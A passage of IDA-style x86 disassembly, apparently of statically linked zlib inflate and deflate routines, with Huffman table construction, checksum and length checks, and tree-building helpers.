loc_6035E8:				; CODE XREF: sub_6026FA+EE9j
		sub	ecx, [ebp+Size]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_28]
		sub	ecx, [ebp+Size]
		mov	[esi+40h], ecx


loc_6035F7:				; CODE XREF: sub_6026FA+F0Bj
		mov	edx, [ebp+Dst]
		mov	cl, [eax]
		inc	[ebp+Dst]
		inc	eax
		dec	[ebp+Size]
		mov	[edx], cl
		jnz	short loc_6035F7
		cmp	dword ptr [esi+40h], 0
		jnz	loc_60373A


loc_603611:				; CODE XREF: sub_6026FA+F3Aj
		mov	dword ptr [esi], 12h
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_60361C:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038C6o
		cmp	[ebp+var_14], 0
		jz	loc_603788
		mov	ecx, [ebp+Dst]
		mov	al, [esi+40h]
		inc	[ebp+Dst]
		dec	[ebp+var_14]
		mov	[ecx], al
		jmp	short loc_603611
; ---------------------------------------------------------------------------


loc_603636:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038CAo
		cmp	dword ptr [esi+8], 0
		jz	loc_6036EA
		jmp	short loc_603664
; ---------------------------------------------------------------------------


loc_603642:				; CODE XREF: sub_6026FA+F6Dj
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_603664:				; CODE XREF: sub_6026FA+F46j
		cmp	edi, 20h
		jb	short loc_603642
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		add	[ecx+14h], eax
		add	[esi+1Ch], eax
		test	eax, eax
		mov	[ebp+var_20], eax
		jz	short loc_6036AA
		mov	eax, [ebp+Dst]
		push	[ebp+var_20]
		sub	eax, [ebp+var_20]
		cmp	dword ptr [esi+10h], 0
		push	eax
		push	dword ptr [esi+18h]
		jz	short loc_603699
		call	sub_6015F3
		jmp	short loc_60369E
; ---------------------------------------------------------------------------


loc_603699:				; CODE XREF: sub_6026FA+F96j
		call	loc_601185


loc_60369E:				; CODE XREF: sub_6026FA+F9Dj
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		add	esp, 0Ch
		mov	[ecx+30h], eax


loc_6036AA:				; CODE XREF: sub_6026FA+F83j
		cmp	dword ptr [esi+10h], 0
		mov	eax, [ebp+var_14]
		mov	[ebp+var_20], eax
		mov	eax, ebx
		jnz	short loc_6036D5
		and	eax, 0FF00h
		mov	edx, ebx
		shl	edx, 10h
		add	eax, edx
		xor	edx, edx
		mov	dh, byte ptr [ebp+var_10+2]
		shl	eax, 8
		add	eax, edx
		mov	edx, ebx
		shr	edx, 18h
		add	eax, edx


loc_6036D5:				; CODE XREF: sub_6026FA+FBCj
		cmp	eax, [esi+18h]
		jz	short loc_6036E3
		mov	dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
		jmp	short loc_603734
; ---------------------------------------------------------------------------


loc_6036E3:				; CODE XREF: sub_6026FA+FDEj
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi


loc_6036EA:				; CODE XREF: sub_6026FA+F40j
		mov	dword ptr [esi], 19h


loc_6036F0:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038CEo
		cmp	dword ptr [esi+8], 0
		jz	short loc_603772
		cmp	dword ptr [esi+10h], 0
		jz	short loc_603772
		jmp	short loc_603720
; ---------------------------------------------------------------------------


loc_6036FE:				; CODE XREF: sub_6026FA+1029j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_603720:				; CODE XREF: sub_6026FA+1002j
		cmp	edi, 20h
		jb	short loc_6036FE
		cmp	ebx, [esi+1Ch]
		jz	short loc_60376E
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aIncorrectLengt ; "incorrect length	check"


loc_603734:				; CODE XREF: sub_6026FA+156j
					; sub_6026FA+19Aj ...
		mov	dword ptr [esi], 1Bh


loc_60373A:				; CODE XREF: sub_6026FA+6Bj
					; sub_6026FA+84j ...
		mov	eax, [esi]
		cmp	eax, 1Ch
		jbe	loc_60276A


loc_603745:				; CODE XREF: sub_6026FA+10j
					; sub_6026FA+1Bj ...
		push	0FFFFFFFEh


loc_603747:				; CODE XREF: sub_6026FA+1072j
					; sub_6026FA+10DBj
		pop	eax


loc_603748:				; CODE XREF: sub_6026FA+116Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_60374D:				; CODE XREF: sub_6026FA+63Ej
		mov	eax, [ebp+Dst]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_14]
		mov	[ecx+10h], eax
		mov	eax, [ebp+Src]
		mov	[ecx], eax
		mov	eax, [ebp+var_8]
		mov	[ecx+4], eax
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		push	2
		jmp	short loc_603747
; ---------------------------------------------------------------------------


loc_60376E:				; CODE XREF: sub_6026FA+102Ej
		xor	ebx, ebx
		xor	edi, edi


loc_603772:				; CODE XREF: sub_6026FA+FFAj
					; sub_6026FA+1000j
		mov	dword ptr [esi], 1Ah


loc_603778:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038D2o
		mov	[ebp+var_24], 1
		jmp	short loc_603788
; ---------------------------------------------------------------------------


loc_603781:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038D6o
		mov	[ebp+var_24], 0FFFFFFFDh


loc_603788:				; CODE XREF: sub_6026FA+8Dj
					; sub_6026FA+1A3j ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_14]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	dword ptr [esi+28h], 0
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		jnz	short loc_6037BE
		cmp	dword ptr [esi], 18h
		jge	short loc_6037DA
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_0]
		cmp	eax, [ecx+10h]
		jz	short loc_6037DA


loc_6037BE:				; CODE XREF: sub_6026FA+10B2j
		mov	eax, [ebp+var_20]
		mov	edi, [ebp+arg_0]
		call	sub_602622
		test	eax, eax
		jz	short loc_6037DA
		mov	dword ptr [esi], 1Ch


loc_6037D3:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:006038DAo
		push	0FFFFFFFCh
		jmp	loc_603747
; ---------------------------------------------------------------------------


loc_6037DA:				; CODE XREF: sub_6026FA+10B7j
					; sub_6026FA+10C2j ...
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		sub	eax, [edi+4]
		mov	ebx, [ebp+var_20]
		sub	ebx, [edi+10h]
		add	[edi+8], eax
		add	[edi+14h], ebx
		add	[esi+1Ch], ebx
		cmp	dword ptr [esi+8], 0
		mov	[ebp+var_2C], eax
		jz	short loc_603827
		test	ebx, ebx
		jz	short loc_603827
		mov	eax, [edi+0Ch]
		push	ebx
		sub	eax, ebx
		cmp	dword ptr [esi+10h], 0
		push	eax
		push	dword ptr [esi+18h]
		jz	short loc_603816
		call	sub_6015F3
		jmp	short loc_60381B
; ---------------------------------------------------------------------------


loc_603816:				; CODE XREF: sub_6026FA+1113j
		call	loc_601185


loc_60381B:				; CODE XREF: sub_6026FA+111Aj
		mov	[esi+18h], eax
		mov	[edi+30h], eax
		mov	eax, [ebp+var_2C]
		add	esp, 0Ch


loc_603827:				; CODE XREF: sub_6026FA+10FFj
					; sub_6026FA+1103j
		cmp	dword ptr [esi], 0Bh
		jnz	short loc_603833
		mov	ecx, 80h
		jmp	short loc_603835
; ---------------------------------------------------------------------------


loc_603833:				; CODE XREF: sub_6026FA+1130j
		xor	ecx, ecx


loc_603835:				; CODE XREF: sub_6026FA+1137j
		mov	edx, [esi+4]
		neg	edx
		sbb	edx, edx
		and	edx, 40h
		add	edx, ecx
		add	edx, [esi+3Ch]
		test	eax, eax
		mov	[edi+2Ch], edx
		jnz	short loc_60384F
		test	ebx, ebx
		jz	short loc_603855


loc_60384F:				; CODE XREF: sub_6026FA+114Fj
		cmp	[ebp+arg_4], 4
		jnz	short loc_603862


loc_603855:				; CODE XREF: sub_6026FA+1153j
		cmp	[ebp+var_24], 0
		jnz	short loc_603862
		mov	[ebp+var_24], 0FFFFFFFBh


loc_603862:				; CODE XREF: sub_6026FA+1159j
					; sub_6026FA+115Fj
		mov	eax, [ebp+var_24]
		jmp	loc_603748
sub_6026FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_60386A	dd offset loc_602771	; DATA XREF: sub_6026FA:loc_60276Ar
		dd offset loc_6028BB
		dd offset loc_60294A
		dd offset loc_6029B7
		dd offset loc_602A09
		dd offset loc_602A24
		dd offset loc_602B25
		dd offset loc_602BB8
		dd offset loc_602C4B
		dd offset loc_602CFA
		dd offset loc_602D31
		dd offset loc_602D5A
		dd offset loc_602D64
		dd offset loc_602E14
		dd offset loc_602E77
		dd offset loc_602EEC
		dd offset loc_602F92
		dd offset loc_603199
		dd offset loc_603264
		dd offset loc_6033E2
		dd offset loc_603428
		dd offset loc_603525
		dd offset loc_60358B
		dd offset loc_60361C
		dd offset loc_603636
		dd offset loc_6036F0
		dd offset loc_603778
		dd offset loc_603781
		dd offset loc_6037D3

; =============== S U B	R O U T	I N E =======================================



sub_6038DE	proc near		; CODE XREF: sub_60510C+59p
					; sub_60510C+81p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_603917
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_603917
		mov	ecx, [esi+24h]
		test	ecx, ecx
		jz	short loc_603917
		mov	eax, [eax+34h]
		test	eax, eax
		jz	short loc_603904
		push	eax
		push	dword ptr [esi+28h]
		call	ecx
		pop	ecx
		pop	ecx


loc_603904:				; CODE XREF: sub_6038DE+1Cj
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		pop	ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_603917:				; CODE XREF: sub_6038DE+7j
					; sub_6038DE+Ej ...
		push	0FFFFFFFEh
		pop	eax
		pop	esi
		retn
sub_6038DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60391C	proc near		; CODE XREF: sub_6026FA+8E4p
					; sub_6026FA+B01p ...

var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_5C		= word ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_5C]
		rep stosd
		xor	edx, edx
		xor	ecx, ecx
		cmp	[ebp+arg_8], edx
		jbe	short loc_60394C


loc_603938:				; CODE XREF: sub_60391C+2Ej
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax+ecx*2]
		lea	eax, [ebp+eax*2+var_5C]
		inc	word ptr [eax]
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jb	short loc_603938


loc_60394C:				; CODE XREF: sub_60391C+1Aj
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	0Fh
		pop	ebx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1C], ebx


loc_60395A:				; CODE XREF: sub_60391C+4Cj
		cmp	[ebp+ebx*2+var_5C], dx
		jnz	short loc_60396A
		dec	ebx
		cmp	ebx, 1
		mov	[ebp+var_1C], ebx
		jnb	short loc_60395A


loc_60396A:				; CODE XREF: sub_60391C+43j
		cmp	eax, ebx
		jbe	short loc_603971
		mov	[ebp+var_C], ebx


loc_603971:				; CODE XREF: sub_60391C+50j
		cmp	ebx, edx
		jnz	short loc_6039A0
		mov	ecx, [ebp+arg_C]
		mov	word ptr [ebp+arg_8+2],	dx
		mov	edx, [ecx]
		mov	byte ptr [ebp+arg_8], 40h
		mov	byte ptr [ebp+arg_8+1],	1
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		add	dword ptr [ecx], 4
		mov	edx, [ecx]
		mov	[edx], eax
		add	dword ptr [ecx], 4
		mov	dword ptr [esi], 1
		jmp	loc_603CC7
; ---------------------------------------------------------------------------


loc_6039A0:				; CODE XREF: sub_60391C+57j
		xor	edi, edi
		inc	edi
		mov	eax, edi
		mov	[ebp+var_18], eax


loc_6039A8:				; CODE XREF: sub_60391C+9Cj
		xor	esi, esi
		cmp	[ebp+eax*2+var_5C], si
		jnz	short loc_6039BA
		inc	eax
		cmp	eax, 0Fh
		mov	[ebp+var_18], eax
		jbe	short loc_6039A8


loc_6039BA:				; CODE XREF: sub_60391C+93j
		cmp	[ebp+var_C], eax
		jnb	short loc_6039C2
		mov	[ebp+var_C], eax


loc_6039C2:				; CODE XREF: sub_60391C+A1j
		mov	edx, edi
		mov	ecx, edi


loc_6039C6:				; CODE XREF: sub_60391C+B9j
		movzx	eax, [ebp+ecx*2+var_5C]
		add	edx, edx
		sub	edx, eax
		js	short loc_6039E4
		inc	ecx
		cmp	ecx, 0Fh
		jbe	short loc_6039C6
		cmp	edx, esi
		jle	short loc_6039EC
		cmp	[ebp+arg_0], esi
		jz	short loc_6039E4
		cmp	ebx, edi
		jz	short loc_6039EC


loc_6039E4:				; CODE XREF: sub_60391C+B3j
					; sub_60391C+C2j
		or	eax, 0FFFFFFFFh
		jmp	loc_603CC9
; ---------------------------------------------------------------------------


loc_6039EC:				; CODE XREF: sub_60391C+BDj
					; sub_60391C+C6j
		push	2
		mov	[ebp+var_7A], si
		pop	ecx


loc_6039F3:				; CODE XREF: sub_60391C+EBj
		mov	ax, [ebp+ecx+var_7C]
		add	ax, [ebp+ecx+var_5C]
		inc	ecx
		mov	[ebp+ecx+var_7C+1], ax
		inc	ecx
		cmp	ecx, 1Eh
		jb	short loc_6039F3
		xor	edx, edx
		cmp	[ebp+arg_8], esi
		jbe	short loc_603A3A


loc_603A10:				; CODE XREF: sub_60391C+11Cj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edx*2]
		cmp	[eax], si
		jz	short loc_603A34
		movzx	ecx, word ptr [eax]
		movzx	ecx, [ebp+ecx*2+var_7C]
		mov	ebx, [ebp+arg_14]
		mov	[ebx+ecx*2], dx
		movzx	ecx, word ptr [eax]
		lea	ecx, [ebp+ecx*2+var_7C]
		inc	word ptr [ecx]


loc_603A34:				; CODE XREF: sub_60391C+FDj
		inc	edx
		cmp	edx, [ebp+arg_8]
		jb	short loc_603A10


loc_603A3A:				; CODE XREF: sub_60391C+F2j
		mov	ecx, [ebp+arg_0]
		sub	ecx, esi
		jz	short loc_603A7A
		dec	ecx
		jz	short loc_603A58
		or	[ebp+var_14], 0FFFFFFFFh
		mov	[ebp+var_28], offset dword_60BCB0
		mov	[ebp+var_24], offset dword_60BCF0
		jmp	short loc_603A8A
; ---------------------------------------------------------------------------


loc_603A58:				; CODE XREF: sub_60391C+126j
		mov	ecx, 202h
		mov	edx, offset dword_60BC30
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	edx, offset dword_60BC70
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	[ebp+var_14], 100h
		jmp	short loc_603A8A
; ---------------------------------------------------------------------------


loc_603A7A:				; CODE XREF: sub_60391C+123j
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_14], 13h


loc_603A8A:				; CODE XREF: sub_60391C+13Aj
					; sub_60391C+15Cj
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	ebx, [ebp+arg_C]
		and	[ebp+var_8], 0
		or	[ebp+var_30], 0FFFFFFFFh
		mov	edx, edi
		shl	edx, cl
		cmp	[ebp+arg_0], edi
		mov	[ebp+var_4], esi
		mov	esi, [ebx]
		lea	ecx, [edx-1]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_34], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_38], ecx
		jnz	short loc_603AC7
		cmp	edx, 5B0h
		jb	short loc_603AC7
		mov	eax, edi
		jmp	loc_603CC9
; ---------------------------------------------------------------------------


loc_603AC7:				; CODE XREF: sub_60391C+19Aj
					; sub_60391C+1A2j
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_10], ecx


loc_603ACD:				; CODE XREF: sub_60391C+27Cj
					; sub_60391C+28Ej ...
		mov	cl, al
		sub	cl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+arg_8+1],	cl
		mov	ecx, [ebp+var_10]
		mov	cx, [ecx]
		movzx	edx, cx
		cmp	edx, [ebp+var_14]
		jge	short loc_603AED
		mov	byte ptr [ebp+arg_8], 0


loc_603AE7:				; CODE XREF: sub_60391C+1EBj
		mov	word ptr [ebp+arg_8+2],	cx
		jmp	short loc_603B12
; ---------------------------------------------------------------------------


loc_603AED:				; CODE XREF: sub_60391C+1C5j
		jle	short loc_603B09
		mov	ecx, [ebp+var_10]
		movzx	ecx, word ptr [ecx]
		mov	edx, [ebp+var_24]
		shl	ecx, 1
		mov	dl, [ecx+edx]
		mov	byte ptr [ebp+arg_8], dl
		mov	edx, [ebp+var_28]
		mov	cx, [ecx+edx]
		jmp	short loc_603AE7
; ---------------------------------------------------------------------------


loc_603B09:				; CODE XREF: sub_60391C:loc_603AEDj
		and	word ptr [ebp+arg_8+2],	0
		mov	byte ptr [ebp+arg_8], 60h


loc_603B12:				; CODE XREF: sub_60391C+1CFj
		mov	edi, [ebp+var_34]
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		shr	eax, cl
		mov	[ebp+var_18], edi
		add	eax, edi
		lea	ecx, [esi+eax*4]


loc_603B2F:				; CODE XREF: sub_60391C+223j
		mov	eax, edx
		shl	eax, 2
		sub	ecx, eax
		mov	eax, [ebp+arg_8]
		sub	edi, edx
		test	edi, edi
		mov	[ecx], eax
		jnz	short loc_603B2F
		mov	eax, [ebp+var_2C]
		xor	edx, edx
		lea	ecx, [eax-1]
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_4]
		jmp	short loc_603B53
; ---------------------------------------------------------------------------


loc_603B51:				; CODE XREF: sub_60391C+239j
		shr	edx, 1


loc_603B53:				; CODE XREF: sub_60391C+233j
		test	edx, ecx
		jnz	short loc_603B51
		test	edx, edx
		jz	short loc_603B67
		lea	edi, [edx-1]
		and	edi, ecx
		add	edi, edx
		mov	[ebp+var_4], edi
		jmp	short loc_603B6B
; ---------------------------------------------------------------------------


loc_603B67:				; CODE XREF: sub_60391C+23Dj
		and	[ebp+var_4], 0


loc_603B6B:				; CODE XREF: sub_60391C+249j
		add	[ebp+var_10], 2
		lea	ecx, [ebp+eax*2+var_5C]
		dec	word ptr [ecx]
		cmp	word ptr [ecx],	0
		jnz	short loc_603B95
		cmp	eax, [ebp+var_1C]
		jz	loc_603C47
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+arg_4]
		movzx	eax, word ptr [ecx+eax*2]
		mov	[ebp+var_2C], eax


loc_603B95:				; CODE XREF: sub_60391C+25Ej
		cmp	eax, [ebp+var_C]
		jbe	loc_603ACD
		mov	ecx, [ebp+var_38]
		and	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_30]
		mov	[ebp+var_3C], ecx
		jz	loc_603ACD
		mov	edi, [ebp+var_8]
		test	edi, edi
		jnz	short loc_603BBD
		mov	edi, [ebp+var_C]
		mov	[ebp+var_8], edi


loc_603BBD:				; CODE XREF: sub_60391C+299j
		mov	ecx, [ebp+var_18]
		lea	esi, [esi+ecx*4]
		xor	edx, edx
		mov	ecx, eax
		sub	ecx, edi
		inc	edx
		add	edi, ecx
		shl	edx, cl
		cmp	edi, [ebp+var_1C]
		jnb	short loc_603BFB
		mov	[ebp+var_18], edi
		lea	eax, [ebp+edi*2+var_5C]
		jmp	short loc_603BDF
; ---------------------------------------------------------------------------


loc_603BDC:				; CODE XREF: sub_60391C+2DDj
		mov	eax, [ebp+var_34]


loc_603BDF:				; CODE XREF: sub_60391C+2BEj
		movzx	edi, word ptr [eax]
		sub	edx, edi
		test	edx, edx
		jle	short loc_603BFB
		inc	ecx
		inc	[ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		shl	edx, 1
		cmp	eax, [ebp+var_1C]
		jb	short loc_603BDC


loc_603BFB:				; CODE XREF: sub_60391C+2B5j
					; sub_60391C+2CAj
		xor	eax, eax
		inc	eax
		mov	edx, eax
		shl	edx, cl
		add	[ebp+var_20], edx
		cmp	[ebp+arg_0], eax
		mov	[ebp+var_34], edx
		jnz	short loc_603C1A
		cmp	[ebp+var_20], 5B0h
		jnb	loc_603CC9


loc_603C1A:				; CODE XREF: sub_60391C+2EFj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebx]
		mov	[ebp+var_30], edx
		shl	edx, 2
		mov	[edx+eax], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_C]
		mov	[edx+eax+1], cl
		mov	ecx, [ebx]
		mov	eax, esi
		sub	eax, ecx
		sar	eax, 2
		mov	[edx+ecx+2], ax
		mov	eax, [ebp+var_2C]
		jmp	loc_603ACD
; ---------------------------------------------------------------------------


loc_603C47:				; CODE XREF: sub_60391C+263j
		mov	edi, [ebp+var_4]
		and	word ptr [ebp+arg_8+2],	0
		mov	cl, al
		sub	cl, byte ptr [ebp+var_8]
		test	edi, edi
		mov	byte ptr [ebp+arg_8], 40h
		mov	byte ptr [ebp+arg_8+1],	cl
		jz	short loc_603CB7
		jmp	short loc_603C64
; ---------------------------------------------------------------------------


loc_603C61:				; CODE XREF: sub_60391C+399j
		mov	edi, [ebp+var_4]


loc_603C64:				; CODE XREF: sub_60391C+343j
		cmp	[ebp+var_8], 0
		jz	short loc_603C80
		mov	ecx, [ebp+var_38]
		and	ecx, edi
		cmp	ecx, [ebp+var_30]
		jz	short loc_603C80
		mov	eax, [ebp+var_C]
		and	[ebp+var_8], 0
		mov	esi, [ebx]
		mov	byte ptr [ebp+arg_8+1],	al


loc_603C80:				; CODE XREF: sub_60391C+34Cj
					; sub_60391C+356j
		mov	ecx, [ebp+var_8]
		mov	edx, edi
		shr	edx, cl
		mov	ecx, [ebp+arg_8]
		mov	[esi+edx*4], ecx
		xor	edx, edx
		lea	ecx, [eax-1]
		inc	edx
		shl	edx, cl
		jmp	short loc_603C99
; ---------------------------------------------------------------------------


loc_603C97:				; CODE XREF: sub_60391C+37Fj
		shr	edx, 1


loc_603C99:				; CODE XREF: sub_60391C+379j
		test	edx, edi
		jnz	short loc_603C97
		test	edx, edx
		jz	short loc_603CAD
		lea	ecx, [edx-1]
		and	ecx, edi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		jmp	short loc_603CB1
; ---------------------------------------------------------------------------


loc_603CAD:				; CODE XREF: sub_60391C+383j
		and	[ebp+var_4], 0


loc_603CB1:				; CODE XREF: sub_60391C+38Fj
		cmp	[ebp+var_4], 0
		jnz	short loc_603C61


loc_603CB7:				; CODE XREF: sub_60391C+341j
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		shl	eax, 2
		add	[ebx], eax
		mov	eax, [ebp+arg_10]
		mov	[eax], ecx


loc_603CC7:				; CODE XREF: sub_60391C+7Fj
		xor	eax, eax


loc_603CC9:				; CODE XREF: sub_60391C+CBj
					; sub_60391C+1A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_60391C	endp


; =============== S U B	R O U T	I N E =======================================



sub_603CCE	proc near		; CODE XREF: sub_604F24+1D1p
		push	esi
		lea	ecx, [eax+94h]
		mov	edx, 11Eh
		xor	esi, esi


loc_603CDC:				; CODE XREF: sub_603CCE+15j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_603CDC
		push	1Eh
		lea	ecx, [eax+988h]
		pop	edx


loc_603CEE:				; CODE XREF: sub_603CCE+27j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_603CEE
		push	13h
		lea	ecx, [eax+0A7Ch]
		pop	edx


loc_603D00:				; CODE XREF: sub_603CCE+39j
		mov	[ecx], si
		add	ecx, 4
		dec	edx
		jnz	short loc_603D00
		mov	[eax+16ACh], esi
		mov	[eax+16A8h], esi
		mov	[eax+16B0h], esi
		mov	[eax+16A0h], esi
		mov	word ptr [eax+494h], 1
		pop	esi
		retn
sub_603CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_603D2C	proc near		; CODE XREF: sub_604C57+D7p
					; sub_604C57+10Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4+0B5Ch]
		mov	[ebp+var_4], edx
		mov	edx, [eax+1450h]
		add	ecx, ecx
		cmp	ecx, edx
		jg	loc_603DCD
		push	ebx
		push	esi


loc_603D4F:				; CODE XREF: sub_603D2C+9Dj
		jge	short loc_603D86
		mov	esi, [eax+ecx*4+0B60h]
		mov	edx, [eax+ecx*4+0B5Ch]
		mov	bx, [edi+esi*4]
		mov	dx, [edi+edx*4]
		cmp	bx, dx
		jb	short loc_603D85
		jnz	short loc_603D86
		mov	dl, [esi+eax+1458h]
		mov	esi, [eax+ecx*4+0B5Ch]
		cmp	dl, [esi+eax+1458h]
		ja	short loc_603D86


loc_603D85:				; CODE XREF: sub_603D2C+3Ej
		inc	ecx


loc_603D86:				; CODE XREF: sub_603D2C:loc_603D4Fj
					; sub_603D2C+40j ...
		mov	esi, [eax+ecx*4+0B5Ch]
		mov	edx, [ebp+var_4]
		mov	dx, [edi+edx*4]
		mov	bx, [edi+esi*4]
		cmp	dx, bx
		jb	short loc_603DCB
		jnz	short loc_603DB2
		mov	edx, [ebp+var_4]
		mov	dl, [edx+eax+1458h]
		cmp	dl, [esi+eax+1458h]
		jbe	short loc_603DCB


loc_603DB2:				; CODE XREF: sub_603D2C+71j
		mov	edx, [ebp+arg_0]
		mov	[eax+edx*4+0B5Ch], esi
		mov	edx, [eax+1450h]
		mov	[ebp+arg_0], ecx
		shl	ecx, 1
		cmp	ecx, edx
		jle	short loc_603D4F


loc_603DCB:				; CODE XREF: sub_603D2C+6Fj
					; sub_603D2C+84j
		pop	esi
		pop	ebx


loc_603DCD:				; CODE XREF: sub_603D2C+1Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[eax+edx*4+0B5Ch], ecx
		leave
		retn
sub_603D2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_603DDC	proc near		; CODE XREF: sub_604C57+1CBp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	ecx, [eax+4]
		and	[ebp+var_4], 0
		mov	[ebp+var_20], ecx
		push	ebx
		mov	ebx, [eax]
		mov	eax, [eax+8]
		mov	ecx, [eax]
		mov	[ebp+var_28], ecx
		mov	ecx, [eax+4]
		mov	[ebp+var_24], ecx
		mov	ecx, [eax+8]
		mov	eax, [eax+10h]
		push	edi
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	8
		lea	edi, [edx+0B3Ch]
		pop	ecx
		rep stosd
		lea	eax, [edx+1454h]
		mov	ecx, [eax]
		mov	ecx, [edx+ecx*4+0B5Ch]
		and	word ptr [ebx+ecx*4+2],	0
		mov	eax, [eax]
		inc	eax
		mov	ecx, 23Dh
		cmp	eax, ecx
		jge	loc_603F90
		push	esi
		lea	esi, [edx+eax*4+0B5Ch]
		sub	ecx, eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], ecx
		add	eax, ecx


loc_603E4E:				; CODE XREF: sub_603DDC+F6j
		mov	ecx, [ebp+var_14]
		mov	esi, [ecx]
		mov	ecx, esi
		shl	ecx, 2
		mov	[ebp+var_C], ecx
		movzx	ecx, word ptr [ecx+ebx+2]
		movzx	ecx, word ptr [ebx+ecx*4+2]
		inc	ecx
